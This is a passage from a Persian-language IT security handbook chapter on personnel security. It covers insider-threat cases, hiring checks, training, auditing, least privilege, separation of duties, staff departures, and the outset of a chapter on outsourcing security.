                                                                  
89  Nick Leeson 
90  Barings Bank 
91  Toshihide Iguchi 
92  Daiwa 

 بعضي سـازمانها و افـراد عليـرغم در           در ايالات متحده   •
 CIA  ،FBIهاي معتبرِ امنيتـي از      اختيار داشتن تأييديه  

اي را در اختيـار       بنـدي شـده     و ارتش، اطلاعـات طبقـه     
جاناتان ،  ٩٣ آلدريچ ايمز مثل  (دادند   مي  يه و اسرائيل قرار   روس
اين افراد عليرغم   . )٩٦رابرت واكر  و   ٩٥رابرت هانسون ،    ٩٤پولارد

وجود كنترلهاي متعدد امنيتي قادر به انجام فعاليتهـاي         
 - بعـضاً تــا بـيش از يــك دهــه   -مخـرب جاسوســي  

 .اند بوده

  در زمـان رياسـت جمهـوري        CIA رئـيس    ٩٧جان داچ  •
 كلينتون، اطلاعات محرمانة دولتـي را از سـازمان          بيل

هـايي ذخيـره      بـرد و در آنجـا در رايانـه          اش مي به خانه 
پيكربنـدي  " بندي نشده طبقه"كرد كه براي كاربري      مي

شـده در   بنـدي   درحاليكـه اطلاعـات طبقـه     . شده بودند 
هــا قــرار داشــتند، از آنهــا بــراي دســتيابي بــه  رايانــه

غيـر اخلاقـي هـم اسـتفاده         مبتـذل و      پايگاههاي وب 
ــي ــد  م ــم از    -ش ــود ه ــن ب ــه ممك ــايي ك  پايگاهه

ــيب ــم از     آس ــشرشده و ه ــومي و منت ــذيريهاي عم پ
پـذيريهاي جديـد و افشانـشده بـراي حملـه بـه              آسيب

عليرغم اينكـه   . كننده استفاده كنند  سيستمهاي مراجعه 
در اين مورد مقررات و قوانين متعددي توسط داچ زيـر           

، هيچ اقـدام عملـي عليـه او انجـام           ه بود   پا گذاشته شد  
نشد و در آخرين روز رياسـت جمهـوري كلينتـون نيـز            

 . مورد عفو وي قرار گرفت

اي را    شكنيها و تخلفات رايانه   اگر شما اين موارد و ساير قانون      
، يك ويژگي مشترك در آنهـا         طي چند دهة اخير بررسي كنيد     

عوامل نفـوذ،   . دانهمة آنها توسط افراد بوقوع پيوسته     : بينيدمي
اي را افـراد نوشـته بودنـد؛ و           اند؛ ويروسـهاي رايانـه      افراد بوده 

 .رمزهاي عبور را نيز افراد دزديده بودند

عبارت اسـت از همـة موارديكـه مربـوط بـه            " امنيت كاركنان 
استخدام، آموزش، كنترل رفتار، و گاهي نيز       : شود  كاركنان مي 

تة مرتكبين جـرائمِ    دهد كه مهمترين دس     آمار نشان مي  . اخراج
اي كساني هستند كه يا از دسترسي قـانوني بـه           سنگين رايانه 

ها برخوردارنـد و يـا در گذشـتة نزديـك از آن برخـوردار               داده

                                                                  
93  Aldrich Ames 
94  Janathon Pollard 
95  Robert Hanson 
96  Robert Walker 
97  John Deutch 
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% ۸۰دهـد كـه بـيش از          بعضي مطالعـات نـشان مـي      . اندبوده
بنـابراين قـسمت    . دهـد رخدادها توسط چنين افرادي رخ مـي      

 است از ادارة كاركنان     مهمي از يك طرح امنيتي خوب عبارت      
 .شدهبنديبا دسترسيهاي طبقه

اي تـأثير     افراد به دو صورت در بروز مـشكلات امنيـت رايانـه           
بعضي از آنها بـا دنبـال نكـردن روالهـاي امنيتـي، بـه               . دارند

فراموشي سپردن ملاحظات امنيتي، و مطلـع نبـودن از نتـايج            
اي امنيتـي   دهند، سهواً به وقوع رخداده    كارهايي كه انجام مي   

  بعضي ديگر نيز آگاهانـه كنترلهـا و روالهـا را           . كنند  كمك مي 
گذارند تا به وقوع يك رخداد كمك كرده باشـند يـا            زير پا مي  

همانطور كـه قـبلاً اشـاره       . خود بتنهايي باعث وقوع آن شوند     
ــه در   كــرديم در بيــشتر مــوارد افــرادي كــه بــصورت آگاهان

 هستند كـه كارمنـد      مشكلات امنيتي شما نقش دارند كساني     
افرادي كه از كنترلها   ): انديا تا همين اواخر بوده    (باشند  خودتان مي 

دانند چه اطلاعاتي با چه ارزشي ممكن است در           مطلعند و مي  
 .كدام قسمت وجود داشته باشد

 را راهبـري    Unixشما در طول مدتي كه مثلاً يـك سيـستم           
. اجـه شـويد  كنيد ممكن است با افرادي از هر دو گـروه مو        مي

كنترلها و مكانيزمهاي مربوط به امنيت كاركنان بسيار متعـدد          
و گوناگون هستند و بحث و بررسي تمامي آنها به يك كتـاب          

اي از مهمترينِ آنها      كامل نياز دارد؛ بنابراين ما تنها به خلاصه       
توانـد از وقـوع      تدوين سياست براي كاركنان نمي    . پردازيم  مي

ي كند، اما آندسته از تهديدات امنيتي       نفوذهاي امنيتي جلوگير  
كه از جانب كارمنـدان خودتـان متوجـه شـركت شماسـت را              

 .دهدكاهش مي

  امنيت در فرآيند استخدام

  هابررسي پيشينه

كنيد پيـشينة آنهـا را      هنگاميكه كاركنان جديد را استخدام مي     
ممكن است از متقاضيان خواسـته باشـيد كـه          . بررسي نماييد 

مي را پر كنند، اما بعد از آن چه؟ حـداقل كـار     فرمهاي استخدا 
اين است كه تمامي منابعي كه هر متقاضي بـراي شناسـاندن            

 از  -خود معرفي كرده را بررسي كنيد تا بتوانيد بـه گذشـتة او              
فرامـوش  .  پـي ببريـد    -اش  جمله دلايل ترك كارهاي قبلـي     

نكنيد كه در بررسي سوابق، تاريخ استخدامها و ترك كارهاي          
هاي خالي ميان آنهـا را بـه دقـت مـورد            لي و همچنين بازه   قب

 است اعتبار هر گواهينامه و       همچنين لازم . كنكاش قرار دهيد  
مدرك تحصيلي را بسنجيد؛ زيرا تاكنون بسيار پيش آمده كـه           

هـاي معتبـر      افرادي در مورد مدارك تحصيلي خود از دانشگاه       
اي در  بقهاند، درحاليكـه آن دانـشگاهها هـيچ سـا          سخن رانده 

اختيار نداشتند كه نشان دهد حتي يك واحد درسي توسط آن           
بعضي افراد نيز ممكن    ! افراد بصورت كامل گذرانده شده است     

است مداركي ارئه كنند كه مربوط به دانشگاههايي باشـد كـه           
توجـه داشـته    ! تنها اندكي بزرگتر از يك دفتر پـستي هـستند         

آمدن در يك شغل به     باشيد از كسي كه براي به استخدام در         
توان در مـشاغل حـساس اسـتفاده        شود نمي دروغ متوسل مي  

  .كرد

  تحقيقات متمركز
تـري در   در برخي موارد ممكن است بخواهيد تحقيقات جـدي   

بـا توجـه    . رابطه با شخصيت و پيشينة متقاضيان داشته باشيد       
به سطح شغلي كه قـرار اسـت متقاضـي در آن قـرار گيـرد و                 

هـاي حـساس      ار است به سيستمها و داده     دسترسيهايي كه قر  
  :داشته باشد شايد بخواهيد

از كمك يـك سـازمان ويـژة انجـام تحقيقـات بـراي               •
 بررسي پيشينة افراد استفاده كنيد؛

 از متقاضيان سند عدم سوء پيشينة جنايي بخواهيد؛ •

سوابق اعتباري متقاضيان را بررسي كنيد تا ببينيـد آيـا           •
اند كه از پـس آن بـر      هاي شخصي بزرگي داشته   بدهي

اگر موردي پيدا كرديد دربـارة آن       . نيامده باشند يا خير   
افـرادي كـه مقـروض    . با خود متقاضـي گفتگـو كنيـد     

هستند نبايـد از كـار كـردن محـروم شـوند؛ چـون در               
هايـشان را   اينصورت هيچگاه قدرت بازپرداخت بـدهي     

البته نبايـد از نظـر دور داشـت كـه           . پيدا نخواهند كرد  
كه تحـت      بروز رفتار نادرست كاري از كاركناني      احتمال

 .فشارهاي اقتصادي هستند بيشتر است

اگـر  (سـنجي از متقاضـي را         بعمل آوردن آزمـون دروغ     •
گرچـه  . از نظـر دور نداريـد     ) دهـد قانون به شما اجـازه مـي      

سنجي هميشه دقيق نيـستند، امـا اگـر           آزمونهاي دروغ 
ــراي متقاضــي درنظــر   موقعيــت شــغلي حــساسي را ب

 .توانند مفيد باشند ايد مي گرفته

از متقاضي بخواهيد كه براي كار در شغل مربوطه يك           •
 انجام تمامي ايـن مراحـل        بطور كلي . ضمانتنامه بياورد 
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شـود، امـا در    براي استخدام همة كارمندان توصيه نمي     
 كه قرار است در پستهايي كار كنند كه          مورد كارمنداني 

تماد نياز اسـت و شـاغلين       در آنها به سطح بالايي از اع      
 مثـل   -شـوند   نيز از دسترسيهاي ويـژه برخـوردار مـي        

 بايد بررسـيهاي بيـشتري      -جذب و يا اخراج كاركنان      
كنيم به متقاضي اطلاع دهيد       پيشنهاد مي . بعمل آوريد 

خواهيد چنين بررسيهايي را انجام دهيد و بـراي           كه مي 
ار هرچند  انجام اينك .  اينكار رضايت او را نيز جلب كنيد      

شود كه انجـام بررسـيها        ضروري نيست ولي باعث مي    
تر شـود و متقاضـي متوجـه باشـد كـه شـما در               راحت

گـاهي اوقـات    . استخدام وي محتاط و جـدي هـستيد       
براي انجام اين تحقيقات به اجازة صريح متقاضي نيـاز          

 .داريد

  ايبررسيهاي مجدد و دوره
قاضي را اسـتخدام    زماني كه آزمونهاي خود را انجام داده و مت        

اي مجدداً انجـام       بايد بعضي از بررسيها را بصورت دوره        كرديد
پس از آن بايد نتايج بررسيهاي فعلي و قبلي را بـا هـم              . دهيد

بعـضي  . مقايسه كنيد تا به تغييـرات بوجـود آمـده پـي ببريـد             
  .تغييرات ممكن است نياز به بررسيهاي عميقتري داشته باشند

رمندي داشته باشيد كـه مـسئول سيـستم          اگر كا   بعنوان مثال 
اي بــراي   از جملــه تهيــة چكهــاي رايانــه-حــسابداري شــما 

ــستانكاران  ــد-ب ــود در     باش ــار موج ــد اعتب ــايد لازم باش ، ش
هـاي كوتـاه زمـاني بررسـي        حسابهاي بانكي او را نيز در بازه      

اگر بررسي و تحقيق مجدد شما هر دو سال يكبار انجام           . كنيد
كه رفتار يكي از كارمندان خـارج از معيارهـاي          شود و دريابيد    

القاعده تصميم خواهيد گرفت كـه در آن  شده است، علي تعيين
  .مورد تحقيقات بيشتري بعمل بياوريد

  آموزش اوليه
نگرانيهاي امنيتي شـما در مـورد يـك كارمنـد نبايـد پـس از          

 حتمـاً بايـد در مـورد         هر كاربر رايانه  . استخدام او متوقف شود   
اين آمـوزش در    . هاي امنيتي، آموزشهاي زيربنايي ببيند    سياست

حالت حداقلي بايد شامل روالهاي مناسب انتخاب و استفاده از          
  اينكـه  (هـا   هـا و شـبكه   رمز عبور، دسترسي فيزيكي بـه رايانـه      

، روالهاي تهيه   )چه كسي مجاز است به تجهيزات متصل شود و چگونه         
برقـراري تمـاس    و نگهداري از نسخة پـشتيبان، سياسـتهاي         

، و سياســتهاي افــشاي )از طريــق تلفــن(اي بــا شــركت رايانــه

مقامـات اجرايـي نبايـد بـدليل        . اطلاعات پـشت تلفـن باشـد      
 آنهـا هـم اگـر نـه         -موقعيتشان از اين موارد مستثني شـوند        

بيشتر، حداقل به اندازة كاركنان ديگر در معرض انتخاب رمـز           
ا نيز بايـد پايبنـدي      آنه. عبور ضعيف و ساير اشتباهات هستند     

خود به مسائل امنيتي را نشان دهند، چراكه آگاهي امنيتـي در   
 .يابد و نه بالعكس سازمانها از بالا به پائين جريان مي

آموزش بايد شامل اسناد نوشتاري و يك نسخه از سياستهاي          
كاربرد رايانه شود و مباحثي چون كـاربرد درسـت و نادرسـت             

در (اي    فادة شخصي از تجهيزات رايانـه     ها، است   ها و شبكه    رايانه
، سياسـتهاي مالكيـت و كـاربرد       )خلال و بعد از اتمام سـاعات كـار        

پــست الكترونيكــي، و سياســتهاي مربــوط بــه ورود و خــروج 
مجازاتهاي نقـض مقـررات     . ها را در بر گيرد      افزارها و داده    نرم

  .نيز بايد هنگام آموزش شرح داده شوند

يي مبني بر آگاهي از اين اطلاعـات و         همة كاربران بايد فرمها   
اين فرمهـا بايـد سـالها       . پذيرفتن محدوديتهاي آن امضا كنند    

نگهداري شوند تا اگر بعدها اين سؤال مطرح شد كـه آيـا بـه               
كارمند در مورد آنچه كه سازمان در قبال وي مجاز به انجـام             
آن است آگاهي قبلي داده شده يا خيـر، بتـوان يـك مـدرك               

   . ارائه كردكنندهاثبات

  آموزش و آگاهي مداوم
اي در رابطه بـا     كاربران لازم است بطور متناوب اطلاعات تازه      
اين بـازآموزي   . امنيت و استفادة صحيح از رايانه دريافت كنند       

هـاي    آوري تهديـد    براي كاربران فرصت مناسـبي جهـت يـاد        
ــا بوجــود مــي  ــدهاي آنه ــضاي موجــود و پيام آورد و يــك ف

تبادل نظر و در ميان گذاشتن نگرانيها ايجـاد         اي براي    مباحثه
  .كندمي

لازم است به كارمنـدان فرصـت مناسـبي بـراي آموزشـهاي             
جاري و آتي بدهيد؛ مثل تشويق بـه حـضور در كنفرانـسها و              

اي   هاي ادواري حرفـه     ، اشتراك در نشريه     اي  سمينارهاي حرفه 
. يو تجاري، و دستيابي به كتابهاي مرجع و ساير موارد آموزش          

بايــد بــه كارمنــدان زمــان كــافي بــراي اســتفاده از كتــب و  
  .هاي لازم براي يادگيري مهارتهاي مورد نياز داده شود انگيزه

اي ممكن است مايل باشيد از روشـهاي          در كنار آموزش دوره   
 مـثلاً نـصب     -تري براي تداوم اين روند بهـره گيريـد          متنوع

رآمدي، اعـلام   هايي در مورد الگوهـاي س ـ       پوسترها يا اعلاميه  
روز "شعارهاي روزانه و هفتگي، نامگذاري يك روز به عنـوان           
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، و يا برگزاري نشستها و سمينارهاي مختلف به منظور          "امنيت
جلوگيري از كمرنگ شدن اهميت موضـوعِ امنيـت در منظـر            

  .عمومي

البته اندازه و طبيعت سـازمان، سـطح تهديـدات و ضـررهاي             
تار كاركنان همه و همه از مواردي احتمالي، و نهايتاً تعداد و رف    

. هستند كه هنگام تنظيم طرحهـا بايـد درنظـر گرفتـه شـوند             
بخـش نيـز بايـد از قبـل درنظـر           هاي فعاليتهاي آگاهي  هزينه

  .گرفته و در بودجة سازمان آمده باشند

  بررسي و كنترل كارآيي
بطور . اي بررسي شود     دوره  كارآيي كارمندان شما بايد بصورت    

اي و عملكردهاي موفـق بايـد بـه           بال رشد حرفه  خاص، در ق  
 مـشكلات    در عين حال  . كارمندان امتياز و پاداش تعلق بگيرد     

شما بايد كارمندان   . بايد بصورتي سازنده شناسايي و حل شوند      
  .خود را به افزايش تواناييها و درك بيشتر تشويق كنيد

شـما همچنـين بايـد از بوجــود آمـدن شـرايطي كـه در آنهــا       
ان احساسهاي مخربي چون خستگي مفرط از كار زيـاد،          كاركن
. كننـد جلـوگيري نماييـد       توجهي پيدا مـي     احترامي، و يا بي     بي

بوجود آمدن چنين محيطي در اداره ممكـن اسـت منجـر بـه              
همچنـين ممكـن    . توجهي كاركنان به منافع سازمان شـود        بي

است كاركنان براي قرار گرفتن در فرصتهاي مناسـبتر شـغلي     
 از آن ممكـن اسـت بـراي          ن شما را ترك كنند؛ يا بدتر      سازما

انتقامگيري در بعضي فعاليتهاي آشوبگرانه عليه شما همكاري        
 - و نه يك روال      -كاري بايد بعنوان يك استثنا      اضافه. نمايند

 خصوصاً آنهـايي كـه در پـستهاي    -باشد و به تمام كارمندان    
في داده   بايد تعطيلات و اوقـات فراغـت كـا         -حساس هستند   

 و كنـد   مـي  خـسته  را كارمنـدان  شـدت  بـه كاري  اضافه. شود
ضريب خطـاي آنهـا بـالا رود،         كه شود يم باعثخستگي نيز   

 نيهمچن وپوشي كنند،   متوجه اشكالات نشوند يا از آنها چشم      
 در اينصورت در زندگي خصوصي      .ببينند از نظر عاطفي آسيب   

 هـا  خانوادهكه  آنها نيز فشارهاي عصبي بوجود خواهد آمد، چرا       
 .خواهند گهگاه در طول روز آنها را ببينند       عزيزانشان هم مي   و

اندازه تحت فشار و خـسته باشـند         از شيب ي كه كارمندانبراي  
خـاطر شـوند و بـديهي     احتمال بيشتري وجـود دارد كـه آزرده     

  .كرد نخواهد يكمك چيه تيامن بهبود مسئله در نيااست كه 

و  يشخـص نـي زيـاد، مـسائل       علائم فشارهاي روا   يكل بطور
دسترسي نـسبتاً    ازاتيامتساير انواع مشكلات كاركناني كه از       

 و مـشكلات تشخيص اين   . بالا برخوردارند را بايد كنترل كرد     
. انـسانيت اسـت    حـداقلِ به رفع آنهـا      كمكدرصورت امكان   

 ارزش پـر  منـابع  از ظتاحف يبرا يراههمچنين   انجام اينكار 
 يدسترس ـ هـا آن بـه  ي كـه  منابع نيز    خود كاركنان و   -سازمان  

  .باشد مي- دارند

  هايدسترسبازبيني 
 و ابـزار  بـه  يهادسترسامكان بازبينيِ    كه ديكن حاصل نانياطم

كـه   هركس ديشو مطمئن نيا بر علاوه. وجود دارد  اطلاعات
هـا  ايـن بـازبيني    وجـود برخوردار است از     يدسترساز هر نوع    
بـه ايـن     ها رايانه از استفاده سوء بسياري از موارد     .اطلاع دارد 

كنـد كـسي    گيرد كه  نفـوذگر احـساس مـي        دليل صورت مي  
 كـه  بدانـد  تبهكـار  كي ـ اگـر . متوجه كارهاي او نخواهد شـد     

مخـرب   يكارهـا  انجام از ممكنرسد  مي ثبتبه   هايشتيفعال
 منظـور از بـازبيني تنهـا بـازبيني ثبتهـاي            .صرفنظر كند  خود

ــه ــات رايان ــه گزارش ــست؛ بلك ــراد از اي ني ــروج اف  ورود و خ
ساختمان، سـوابق اسـتفادة افـراد از قفلهـاي الكترونيكـي، و             

توانند مورد  همچنين نوارهاي تلويزيون مدار بسته، همگي مي      
پذيري بيشتر مهيـا    بازبيني قرار گيرند تا زمينه براي مسئوليت      

  .شود

 .با تمام اين احوال بايد مراقب آثار كنترلهـا پنهـاني هـم بـود              
از اينكه به آنها اعتماد نشود و بطور مخفيانه تحت نظـر             افراد

تحـت   كـه  بفهمنـد  اگرو   كنند؛باشند احساس ناخرسندي مي   
 يعملكـرد  يحت ـعصباني شوند و     است ممكننظر قرار دارند    

از دادسـراها    يبعض دربعنوان مثال   . خود بروز دهند   از يافراط
نـسته  توا ياسـتخدام  يقراردادهـا  و كـار  قـانون شده كه   ديده
  .دادرسيهاي سنگين مدني شود با كارفرما شدن روبرو باعث

 از كارمنـدان مطلع كـردن   صرفاگر نظارت بسيار دقيق باشد  
 نـشان  مطالعـات ي  بعض. نيست يكاف هستند نظر تحت نكهيا

داشته باشـند    قرارتحت نظارت شديد     يوقت كارمندان كه داده
مثلاً اگر شما   . داشت خواهندو رفتار نامناسبتري     كمتر ييكارا

كه از آن    پايگاه وب  هر ،كاركنان مكالمة تلفني  زمانبخواهيد  
بـه اسـتراحت     كبـار ي وقت چندكنند، و يا اينكه هر      بازديد مي 

مسئله  نياپردازند را تحت نظارت خود داشته باشيد، آنگاه         مي
 هـستند  ييآنهـا سياستها    بهترين .خواهد داشت  صحت كاملاً
 وشـوند    نيتدو كارمندانك مساعي   نظر مساعد و تشري    با كه

 )ديباش ـ داشـته چنين بخشي    اگر (هم يانسان منابعكاركنان بخش   
  .داشته باشند حضورآن  نيتدو هنگام
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  حداقل دسترسي و تفكيك وظايف
اصول دسترسي حداقلي و تفكيك وظايف را به دقـت درنظـر            

اين اصول در طول زمان كـارآيي خـود را ثابـت            . داشته باشيد 
 و هرگاه در عمليات شما قابل اجرا باشـند بايـد مـورد              اندكرده

  .استفاده قرار گيرند

  حداقل دسترسي
كارها را   انجام يبرا ي لازم دسترس نيكمترگويد    مي اصل نيا

شـامل   هـم  ،محدودشـده  يِدسترس ـ ني ـا. به هر فـرد بدهيـد     
،   هـا  شـبكه ،  ي كـاربري   حـسابها  به يدسترس(دسترسي منطقي است    

 ينوارهـا  هـا،  رايانـه  بـه  يدسترس (يكيزيفسترسي  د هم و) ها برنامه
همــة  يرو كــاربر رهــ اگــر). يجــانب زاتيــتجهســاير  و بانيپــشت
 يك ـيزيف يدسترس ـحساب كاربري و به تمام منابع        هاستميس

 بـاً يتقرتهديـد    زاني ـم نظـر  از كاربران تمام آنگاه داشته باشد، 
  .بود خواهنديكسان 

   فيوظا كيتفك
 دقـت  بـا  دي ـبا شـما  كـه  اسـت  سـتوار ا مبنا نيا بر اصل نيا 

در اينــصورت كــسانيكه  .ديــكن جــدا هــم از راافــراد  فيوظــا
خود هم نخواهنـد     نظارت بر استفادة نادرست هستند     دار  عهده

 واگـذار   نيبنـابرا . نادرست كننـد   ةاستفادتوانست از سيستمها    
كردن همة فعاليتهاي امنيـتي و مسئوليتهاي نظارتي به تنهـا          

ايـن   بـه  منجر تواند يممسئله   نيا.  است يناكخطريكنفر كار   
شود كه آن شـخص از سياسـتهاي امنيتـي سـرپيچي كنـد و              
مرتكب كارهـاي ممنوعـه شـود؛ و ايـن درحـالي اسـت كـه                
هيچكس جز خود او گزارشات بازبيني مربوط به اين كارهـا را      

مانـد و   خواند و لذا نافرماني وي بصورت مخفي باقي مـي         نمي
  .شوددر طول زمان باز هم تكرار ميبه احتمال زياد 

  ي را محدود كنيدديكل كارمندان بهوابستگي 
 باشـد  يگزينيجـا  رقابـل يغ دي ـنبا سـازمان  كي ـ در چكسيه

بقاي يـك    اگر. هيچ انساني جاودانه و هميشگي نيست      چراكه
 ،باشـد  يدي ـكل كارمنـد  كعملكرد روزانة ي   به وابسته سازمان

برقراري  يبرا. است جهمخاطره موا  بابدون شك آن سازمان     
 اخـراج  اي ـ يمـار يببراي مـواقعي چـون       ديبا سازمانها ،تيامن

افراد كليـدي سياسـتها و طرحهـاي مكتـوبي داشـته             يناگهان
  .رنديگ بهره  طرحهاآن ازباشند و در عمل نيز 

 بـا  شركت كدر يك مورد كه گزارش آن بدست ما رسيده، ي         
 ـ كارمنـد  ۱۰۰حدود   وين تـد  صـرف وقـت    سـال  ۱۰ از شيب

 نيا .سيستم حسابداري گمركي خود و واردات سفارشات نمود       
كه به سادگي قابل خوانـدن       يسينو برنامه زبانيك   با ستميس

آنرا تهيه كرده بود پـس از مـدت          كه يشركتنبود تهيه شد و     
نفر  دو تنهادر آن شركت    . گذاشت كنار را تجارت كاركوتاهي  

سيـستمهاي   ريمـد  :آشـنا بودنـد    ستمي ـس ني ـانحـوة كـار      به
ايـن دو نفـر     .   او نويسِبرنامهنيز    و ٩٨)MIS (اطلاعات مديريت 

 ، سيـستم حـسابداري    هـاي همسئول ايجاد تغييـرات در برنام ـ     
، تعميـر تجهيـزات ازكارافتـادة        سـالانه  اتگزارش ـسازي  آماده
كـه خـارج از محوطـة       (هـاي پـشتيبان      حتي تهية نسخه    و ،  رايانه

  . بودند )شد خيره مي ذMISاداري شركت و در دفتر مدير 

راه دچـار يـك      او يـك روز در       نويسِ   و برنامه  MISاگر مدير   
افتـاد؟ اگـر بـه مـدير        چه اتفاقي مـي   شدند  مرگبار مي تصادف  

MIS      شـد چـه     برابر پيشنهاد مـي   چند شغلي مناسبتر با حقوق
بـه  نيـاز شـركت      بخـاطر    نـويس    اگر برنامه  ؟داد اتفاقي رخ مي  

توانست ارتقاي سـازماني پيـدا       او در پست خود نمي    نگهداري  
شـد    دلـسرد و عـصباني مـي      سـازمان   كار در    و نسبت به     كند

  ؟چطور

معايب و   يكي از    شونداينكه پرسنل اصلي غيرقابل جايگزيني      
و  - شـود ي محسوب مي  ا  رايانهسيستمهاي  جدي   هاي هزينه
توجـه كـافي     هـا   هزينـه اين  بندرت به    ارشد سازمان    يتمدير

بكـارگيري  از دلايـل    ديگـر   ئله يكـي    اين مـس  . دهدنشان مي 
هـاي  الو روسياسـتها   و اسـتفاده از  هاي حاضر و آماده   افزار  نرم

براحتي جايگزين   وارد بتواند يك فرد تازه  بطوريكه   -نوشتاري  
  .كند را روشن مي-نفر قبلي شود 

   ترك شغلغيبت و 
مثل پيشنهادهاي (گاهي اوقات افراد با ميل و ارادة شخصي خود       

مثـل وقـوع مـرگ يـا        (و گاهي بصورت غيرداوطلبانـه      ) ليبهتر شغ 
 هاي كوتاهتربازه در .كنند يك كار را ترك مي   ) آسيبهاي فيزيكي 

يـا بـدلايل    و  روند   ميمسافرت  به  زماني نيز به هر حال افراد       
غيبت ممكن است براي چند روز از اداره        شخصي  و  خانوادگي  

از اقـدامات و    اي    مجموعـه  بايـد    هريك از اين موارد   در  . كنند
روالها براي گردش كار در شرايط غيبت يا ترك شغل تعريـف        

تواند شامل مراحلي چـون تعليـق       اين مجموعه مي   .شده باشد 
، تخـصيص كارهـاي فـرد بـه     )البته نـه در مـورد غيبـت      (حسابها  

ــر رمــز  ــور حــساس، بررســي   كاركنــان ديگــر، تغيي هــاي عب
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 راهنماي امنيت فناوري اطلاعات ١٦٤

ام ايـن  صندوقهاي پست صوتي؛ و يا قطع دسترسـيها بـه تم ـ     
  .سيستمها باشد

انجـام ايـن كارهـا تـأثيرات        محيطها ممكـن اسـت      برخي  در  
،   در يـك دانـشگاه    ممكن اسـت    مثلاً  . اي داشته باشد  گسترده

ماهها يا سالها   التحصيل اجازه داشته باشند تا        جويان فارغ دانش
مـثلاً  (التحصيلي همچنان از حسابهاي كاربري خود   بعد از فارغ  

يكـي از  اگـر   در ادارات نيـز     . استفاده كنند ) تيدبراي ارتباط با اسـا    
غيبت كـرده باشـد     يا به خاطر بيماري     سفر باشد    در   انكارمند

 هـاي  و رمز  حـسابهاي او نبايـد مـسدود       ،) روز البته به مدت چند   (
  .كنندتغيير نبايد عبورش 

در بسياري مواقع تـرك شـغل بـسيار ناگهـاني و غيرمنتظـره              
در محــل كــارِ فــردي ممكــن اســت در ايــن شــرايط . اســت

قفلهـا  از تعويض   تا  كارمندي كه ترك شغل كرده حاضر شود        
اي حاوي  نيز با جعبه  مور امنيتي   يك مأ و  اطمينان حاصل كند    

انـد بـه    بوده كارش    كه داخل كشوي ميز     وي وسايل شخصي 
 تمـامي   قـبلاً حـذف شـده،     او  كـاربري   حساب   .بدرقة او برود  

وي نيـز    دفتر   هايو تلفن  اند،رمزهاي عبور سيستم تغيير كرده    
 در صـنايع    ٩٩ جـدائي  مـديريت اين شكل   . وصل نيستند ديگر  

بخشي از مشاغل سـازمان     و   معمول است بسيار  خدمات مالي   
معمولاً كارمنـداني هـستند      بخش   اينكاركنان  . رودبشمار مي 

 اسـتخدام   هـايي قراردادبر حـسب    كه از روي ميل خودشان و       
كن اسـت مـسئول انجـام       كه در آنها ذكر شده كه مم       اندشده

تحت هر شرايطي از دانش عرفي خـود        . چنين اقداماتي شوند  
شما بايد دقيقاً تعيين كنيد كه سياست دسترسي        . استفاده كنيد 

بايد چه باشد و آنرا بوضوح براي كارمندان و افراد مـسئول در             
  .سازي آن سياستها بيان كنيدپياده

  ملاحظات امنيتي در رابطه با ساير كاركنان
 ممكن اسـت    دارندافراد ديگري كه به سيستم شما دسترسي        

بـه  يـا   نداشته باشند   شما را درنظر    و نگرانيهاي   منافع  همواره  
توجهي نشان  شما وارد شود بي   ممكن است به    خسارتهايي كه   

مـورد وقـوع چنـين اتفاقـاتي در         در  گزارشـات زيـادي     . دهند
ه ك ـ همبازيهـاي كودكـان   : هاي خـانوادگي وجـود دارد     محيط

افـراد    و يـا   انـد  كـرده اي  رايانه هايويروسهايي را وارد سيستم   
آوري مدارك و آگـاه شـدن از خيانـت          متأهلي  كه براي جمع    
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مـورد وارسـي قـرار      ديسكها را   همسراشان در پيوند زناشويي،     
ــدداده ــاي . ان ــورد   در محيطه ــاتي در م ــز گزارش ــاري ني تج

 حـين   وجـود دارد كـه    دفتـري   ها و كارمندان موقت      نظافتچي
  .اند  شركت دستگير شدههاي رايانهخرابكاري يا جاسوسي در 

 در توانيد خود را انتخاب كنيد اما مي توانيد پدر و مادر      نمي شما
شـركت  هـاي     حق دسترسي بـه رايانـه     كسي  تعيين اينكه چه    

كاركنـان بخـش    ،  بازديدكننـدگان .  دارد تأثيرگذار باشـيد    شما
ممكن ساير افراد همگي    و   ،، فروشندگان   ، پيمانكاران   تعميرات
 دائمي يا نيمه موقتيدسترسي  و سيستم شما    دفتر كار   است به   

قـرار  بحث  مورد   مواردي كه تاكنون   ةهمببينيد  . داشته باشند 
در . صـدق كننـد   ايـن افـراد     مورد  د در   نتوان چگونه مي ايم  داده

بــه نبايــد اداره هــيچكس از بيــرون پايــان از يــاد نبريــد كــه 
 نامحدود   دسترسي فيزيكيِ  شما اي و شبكه  ايتجهيزات رايانه 

  .داشته باشد

بايد مـورد بررسـي   هر از چندگاه  ابق كاري آنها    وافرادي كه س  
  :ازند قرار گيرد عبارت

  ؛سيستمراهبران متصديان و  •
پيمانكاران موقت كه به سيستم دسترسـي       و  كارمندان   •

  ؛دارند
  ؛ و نظافتتعميراتپرسنل  •
  ؛نگهبانان امنيتي •
 ها كه بـه سيـستم     ها و پرسنل بخش تداركات    رسان نامه •

  ؛دارندمعمولي يا بدون نظارت دسترسي 
  ان؛مشاور •
  .ماليبخش پرسنل ساير  و سان، مميزها،حسابر •

در مـورد   بايـد  دارنـد  سيستم دسترسي  بهكه  كاركناني  تمامي  
ببيننـد و   لازم را    هاي آموزش ـ  و پيـشگيري از خـسارتها      امنيت

پرسـنل  . رايشان تكرار شود  باي   دوره بصورتمطالب آموزشي   
روالهاي واكـنش بـه رخـدادها و نيـز          همچنين بايد در جريان     

  .داشته باشند قرار مقررات امنيتيهاي نقض  جريمه

از را  خودتان متوجه شما اسـت       ةخانوادتهديداتي كه از جانب     
در منزل از يك سيستم مـشترك بـراي تمـام            خواه .ياد نبريد 

 براي  گهگاهتان را   ان كودك خواهو   اعضاي خانواده استفاده كنيد   
 اين مسئله حائز اهميت اسـت كـه آنهـا           ، ببريداداره  به  بازديد  
 اي براي بازيوسيله كنيداي كه شما با آن كار ميرايانهبدانند  
آنها بايد ياد بگيرند كه به دستگاهها و وسايل حساس          .  نيست
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 هـاي محافظبراي اين منظور اسـتفاده از       . تجاري دست نزنند  
اقـدام پيـشگيرانة مناسـبي     ،رمزهاي عبـور مجهز به   نمايشگر

خـود   ة بـه اعـضاي خـانواد       ايـن  علاوه بـر  . شود محسوب مي 
كـار و تجـارت     محـيط   رابطه بـا    در  لزومي ندارد   بياموزيد كه   

  .دنشما با كسي صحبت كناي رايانه
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  هفتمفصل 
  ١٠٠برونسپاري امنيت

  كليات
 بنگاههـاي اقتـصاديِ     استفاده از منابع بيروني بـراي مـديران       

عمومي، خصوصي و غيرانتفاعي كه نگران توانمندي واكـنش         
سازمان خود به تهديـدهاي امنيتـي هـستند گزينـة مناسـبي             
